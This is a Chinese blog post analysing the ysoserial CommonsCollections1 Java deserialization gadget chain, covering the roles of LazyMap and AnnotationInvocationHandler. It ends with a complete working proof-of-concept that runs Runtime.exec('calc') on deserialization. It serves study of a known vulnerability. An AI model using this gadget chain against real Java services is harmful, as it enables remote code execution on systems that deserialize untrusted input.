ysoserial之Commons-Collections1链

发布于 2021-11-04  852 次阅读


ysoserial之Commons-Collections1链


之前写过一篇Commons-Collections1链,但是可以发现跟ysoserial中的cc1链有些不一样,所以现在来写一下ysoserial中的cc1链。

ysoserial中cc1链:

可以看到后半部分到ChainedTransformer.transform()还是一样的,只是在这里用的是LazyMap类,所以就直接从LazyMap开始分析

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

测试环境:

jdk1.7.0_80

commons-collections-3.2.1

cc1链分析:

image-20211104203226079

先看get方法:通过factory调用transform,并且factory可控

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

image-20211104203906225

再看什么地方调用了get方法,这里其实非常难找,可以看到大概有一千多个地方调用了get方法,所以我们就直接看ysoserial中用到了哪一个。

image-20211104204124912

AnnotationInvocationHandler.invoke()还是这个类,不过用到了里面的invoke方法。熟悉java的可能都会知道,这个invoke实际上是实现了动态代理模式,可以看到里面调用了get方法。这里可以参考这个视频:https://www.bilibili.com/video/BV16h411z7o9?p=4

image-20211104204527070

现在就是如何实现动态代理让他自动去调用invoke方法,看invoke中怎么才能调用get方法。

这里需要满足两个条件

首先这里不能调用equals方法

并且调用的方法必须是一个无参的方法,不然会报错

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        //首先这里不能调用equals方法
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
            //并且必须是一个无参的方法,不然会报错
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

随后在AnnotationInvocationHandler中的readObject方法中恰好调用了一个无参的方法

Iterator var4 = this.memberValues.entrySet().iterator();

image-20211104205956766

并且可以看到private final Map<String, Object> memberValues;memberValues是一个Map,因此我们只需要代理一个Map去调用invoke方法

接下来开始构造POC,先实例化一个实现了InvocationHandler接口的类实例AnnotationInvocationHandler,同时给factory赋值为lazyMap,使其能够调用get方法

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);

随后通过Proxy类去代理Map了,再通过AnnotationInvocationHandler中的readObject去调用代理的Map

Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);

最后序列化这个类,一开始的ChainedTransformer就是跟之前的cc1链一样的

最终POC为:

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class YsoserialCC1{

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);;
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }

参考链接:

https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.999.0.0


沙上有印,光中有影!